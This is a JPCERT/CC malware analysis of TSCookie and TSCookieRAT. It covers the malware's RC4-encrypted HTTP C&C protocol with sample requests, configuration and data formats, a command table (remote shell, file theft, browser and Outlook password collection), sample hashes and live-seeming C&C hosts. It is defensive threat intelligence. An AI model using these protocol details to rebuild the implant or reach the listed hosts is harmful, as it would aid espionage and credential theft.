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Mar 06, 2018

Malware “TSCookie”

Around 17 January 2018, there were some reports on the social media about malicious emails purporting to be from Ministry of Education, Culture, Sports, Science and Technology of Japan [1]. This email contains a URL leading to a malware called “TSCookie”. (Trend Micro calls it “PLEAD” malware [2]. Since PLEAD is also referred to as an attack campaign, we call this malware TSCookie in this article.) TSCookie has been observed in the wild since 2015, and it is suspected that an attacker group “BlackTech” is related to this campaign [3]. JPCERT/CC confirmed that adversaries using the malware had conducted targeted attacks against Japanese organisations in the past. This article presents findings from TSCookie analysis.

Overview of TSCookie

Figure 1 describes the flow of TSCookie’s execution.

Figure 1: Overview of TSCookie
Fig1_en_2

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

Behaviour of TSCookie and TSCookieRAT will be explained in detail in the following sections.

Behaviour of TSCookie

TSCookie communicates to C&C servers using HTTP protocol and downloads “a module” and “a loader” for loading the module. The malware has an encrypted DLL file in its resource. When the malware is executed, the DLL file is loaded and executed on memory. The DLL file performs main functions such as communicating with C&C servers. (In some cases, the main function part is not encrypted and stored in the malware as is. Also, some samples launch another process and inject decrypted DLL file.) The malware has configuration information encrypted with RC4, including C&C server information. Please refer to Appendix A for the details of the configuration.

Below is an example of an HTTP GET request that TSCookie sends at the beginning. The outbound message is encoded and included in the Cookie header.


GET /Default.aspx HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:20:55 GMT
Pragma: no-cache
Accept: */*
Cookie: 1405D7CD01C6978E54E86DA9525E1395C4DD2F276DD28EABCC3F6201ADAA66F55C15352D29D0FFE51BC9D431EB23E8E58959653D9366E372B5CFCC49BB
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host:[host name]:443

The data contained in the Cookie header is encrypted with RC4 (The key is the Date header value). Please refer to Appendix B, Table B-1 for the data format.

The data obtained by this HTTP GET request is RC4-encrypted with the 8byte value which is made up with the fixed value in the configuration (Appendix A, Table A-1) and the value in the sent data (“4byte generated from system information” in Appendix B, Table B-1). This data includes loader for the module.

TSCookie then downloads a module. Below is an example of HTTP POST request for downloading a module.


POST /Default.aspx HTTP/1.1
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:30:55 GMT
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Content-Length: 34
Host: [host name]:443

[data]

The sent data is RC4-encrypted as well (the key is the Date header value). Please refer to Appendix B, Table B-2 for the data format. The data obtained by this HTTP POST request is RC4-encrypted with the same key as in the HTTP GET request. The downloaded module can be executed by loading it on memory and calling the loader obtained by the HTTP GET request.

Behaviour of TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.)

The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

Figure 2 is an example of sent data (decoded).

Figure 2: Part of sent data (decoded): Sending out information on the infected hosts)

Fig2

After that, TSCookieRAT sends an HTTP GET request. (The HTTP header payload is the same as TSCookie.) With this request, commands are sent from a C&C server, and TSCookieRAT executes functions as listed below. (Please refer to Appendix C, Table C-2 for received data, and to Appendix D, Table D-1 for the list of commands.)

  • Execute arbitrary shell command
  • Send drive information
  • Send system information
  • File operation
  • Collect passwords from Internet Explorer, Edge, Firefox, Chrome, Outlook

The result of command execution is sent in the same format as in the first HTTP POST request (for sending the information of the infected host). The commands sent from a C&C server are not encoded. Below is the example of sent data (decoded) when executing a command for listing processes and modules.

Figure 3: Part of sent data (decoded): Result of the command 0x930 execution
Fig3

TSCookie Decode Tool

JPCERT/CC made a tool to decode and extract TSCookie’s configuration information. This is available on Github for your use.

JPCERTCC/aa-tools · GitHub
https://github.com/JPCERTCC/aa-tools/blob/master/tscookie_decode.py

 

Figure 4: Running tscookie_decode.py (example)
Fig4

In closing

The adversaries using TSCookie have been conducting attacks against Japanese organisations using various types of malware. As this attack campaign is likely to continue, JPCERT/CC will continue to watch the trend carefully.

The hash value of the samples that were examined for this article are listed in Appendix E. Some of the destination hosts associated with TSCookie are also listed in Appendix F. Please make sure that none of your devices is communicating with such hosts.

For any inquiries, please contact global-cc[at]jpcert.or.jp.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] piyolog: Summary on Ministry of Education, Culture, Sports, Science and Technology Scam in January 2018 (Japanese)

http://d.hatena.ne.jp/Kango/20180119/1516391079

[2] Trend Micro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

[3] Trend Micro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

Appendix A: TSCookie configuration information
Table A: List of configuration information
Offset Description Remarks
0x000 Flag for host 1 Perform communication if 0x01
0x004 Port number 1 for host 1  
0x008 Port number 2 for host 1  
0x010 Host 1  
0x100 Flag for host 2  
0x104 Port number 1 for host 2  
0x108 Port number 2 for host 2  
0x110 Host 2  
0x200 Flag for host 3  
0x204 Port number 1 for host 3  
0x208 Port number 2 for host 3  
0x210 Host 3  
0x300 Flag for host 4  
0x304 Port number 1 for host 4  
0x308 Port number 2 for host 4  
0x310 Host 4  
0x400 Proxy server  
0x480 Proxy port number  
0x484 Flag for proxy configuration  
0x500 ID  
0x604 Fixed value RC4 key for 4byte (0x925A765D)
0x89C Suspended time  
Appendix B Data that TSCookie sends/receives
Table B-1: Format of data contained in Cookie header
Offset Length Contents
0x00 4 4byte generated from system information (*)
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAB1
0x10 4 0x04
0x14 4 4byte generated from system information
0x18 - Random data

(*) RC4-encrypted with the fixed value (0x925A765D)

Table B-2: Format of data contained in HTTP POST data
Offset Length Contents
0x00 4 4byte generated from system information
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAAD
0x10 4 Data length after 0x14
0x14 - Random data
Appendix C: Data that TSCookieRAT sends/receives
Table C-1: Format of data contained in HTTP POST data
Offset Length Contents
0x00 4 4byte generated from system information
0x04 4 0x10050014
0x08 4 0x10001
0x0C 4 0xAAD
0x10 4 Data length after 0x14
0x14 - Information of the infected host (RC4 encrypted with the key for “4byte generated from system information”)

*RC4-encrypted with Date header value up to 0x14

Table C-2: Format of data received
Offset Length Contents
0x00 4 Command
0x04 4 Data length after 0x8
0x08 - Parameter
Appendix D: Commands used by TSCookieRAT
Table D-1: List of commands
Value Contents
0x912 Configure suspended time
0x930 List processes and modules
0x932 Terminate
0x934 Start remote shell
0x935 Execute remote shell command
0x936 End remote shell
0x946 Obtain IP address
0x950 Execute files (with window display)
0x951 Execute files (without window display)
0x952 Send message
0x953 Send drive information
0x954 Send file list
0x955 Send file size
0x956 Send file
0x957 Close object handle
0x958 Select file to send (send file with 0x955, 0x956)
0x959 Download file
0x95A Delete file
0x95C Move file
0x95E -
0x960 -
0x96B Obtain window title
0x96E Collect password from Internet Explorer, Edge, Firefox, Chrome, Outlook
Appendix E: SHA-256 values of the samples

TSCookie

  • 6d2f5675630d0dae65a796ac624fb90f42f35fbe5dec2ec8f4adce5ebfaabf75
  • cdf0e4c415eb55bccb43a650e330348b63bc3cbb53f71a215c44ede939b4b830
  • 17f1996ad7e602bd2a7e9524d7d70ee8588dac51469b08017df9aaaca09d8dd9
  • 1fa7cbe57eedea0ebc8eb37b91e7536c07be7da7775a6c01e5b14489387b9ca8
  • e451a1e05c0cc363a185a98819cd2af421ac87154702bf72007ecc0134c7f417
  • 1da9b4a84041b8c72dad9626db822486ce47b9a3ab6b36c41b0637cd1f6444d6
  • 35f966187098ac42684361b2a93b0cee5e2762a0d1e13b8d366a18bccf4f5a91
  • 0683437aebd980c395a83e837a6056df1a21e137e875f234d1ed9f9a91dfdc7f
  • 0debbcc297cb8f9b81c8c217e748122243562357297b63749c3847af3b7fd646
  • 96306202b0c4495cf93e805e9185ea6f2626650d6132a98a8f097f8c6a424a33
  • 6b66c6d8859dfe06c0415be4df2bd836561d5a6eabce98ddd2ee54e89e37fd44
  • 06a9c71342eeb14b7e8871f77524e8acc7b86670411b854fa7f6f57c918ffd2b
  • 20f7f367f9cb8beca7ce1ba980fafa870863245f27fea48b971859a8cb47eb09
  • f16befd79b7f8ffdaf934ef337a91a5f1dc6da54c4b2bee5fe7a0eb38e8af39e
  • 12b0f1337bda78f8a7963d2744668854d81e1f1b64790b74d486281bc54e6647
  • 201bf3cd2a723d6c728d18a9e41ff038549eac8406f453c5197a1a7b45998673
  • 5443ee54a532846da3182630e2bb031f54825025700bcd5f0e34802e7345c7b2
  • 39d7d764405b9c613dff6da4909d9bc46620beee7a7913c4666acf9e76a171e4
  • afe780ba2af6c86babf2d0270156da61f556c493259d4ca54c67665c17b02023
  • 4a8237f9ecdad3b51ffd00d769e23f61f1e791f998d1959ad9b61d53ea306c09
  • 203c924cd274d052e8e95246d31bd168f3d8a0700a774c98eff882c8b8399a2f

TSCookieRAT

  • 2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d
Appendix F: Destination hosts associated with TSCookie
  • 220.130.216.76
  • 60.244.52.29
  • 45.76.102.145
  • jpcerts.jpcertinfo.com
  • jpcert.ignorelist.com
  • twnicsi.ignorelist.com
  • twcertcc.jumpingcrab.com
  • okinawas.ssl443.org
  • apk36501.flnet.org
  • appinfo.fairuse.org
  • carcolors.effers.com
  • edu.microsoftmse.com
  • eoffice.etowns.org
  • epayplus.flnet.org
  • fatgirls.fatdiary.org
  • gethappy.effers.com
  • iawntsilk.dnset.com
  • inewdays.csproject.org
  • ktyguxs.dnset.com
  • lang.suroot.com
  • langlang.dnset.com
  • longdays.csproject.org
  • lookatinfo.dnset.com
  • newtowns.flnet.org
  • ntp.ukrootns1.com
  • office.dns04.com
  • savecars.dnset.com
  • splashed.effers.com
  • sslmaker.ssl443.org